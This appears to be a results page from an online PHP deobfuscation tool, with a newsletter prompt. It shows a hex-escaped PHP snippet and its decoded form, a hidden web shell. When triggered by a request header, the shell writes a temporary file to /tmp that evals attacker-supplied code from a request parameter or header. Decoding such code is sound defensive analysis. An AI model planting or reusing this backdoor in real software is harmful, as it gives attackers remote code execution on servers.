Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $_HEADERS = getallheaders(); if (isset($_HEADERS['If-Unmodified-Since'])) { $..
Decoded Output download
<?php
$_HEADERS = getallheaders();
if (isset($_HEADERS['If-Unmodified-Since'])) {
$c = "<?php @eval($_REQUEST[\"Clear-Site-Data\"]);@eval($_HEADERS[\"Clear-Site-Data\"]);";
$f = '/tmp/.'.time();
file_put_contents($f, $c);
include($f);
unlink($f);
} ?>
Did this file decode correctly?
Original Code
<?php
$_HEADERS = getallheaders();
if (isset($_HEADERS['If-Unmodified-Since'])) {
$c = "<\x3fp\x68p\x20@\x65v\x61l\x28$\x5fR\x45Q\x55E\x53T\x5b\"\x43l\x65a\x72-\x53i\x74e\x2dD\x61t\x61\"\x5d)\x3b@\x65v\x61l\x28$\x5fH\x45A\x44E\x52S\x5b\"\x43l\x65a\x72-\x53i\x74e\x2dD\x61t\x61\"\x5d)\x3b";
$f = '/tmp/.'.time();
file_put_contents($f, $c);
include($f);
unlink($f);
}
Function Calls
getallheaders | 1 |
Stats
MD5 | 6d504fd0a4cf8b778ee2f53a89101f0d |
Eval Count | 0 |
Decode Time | 27 ms |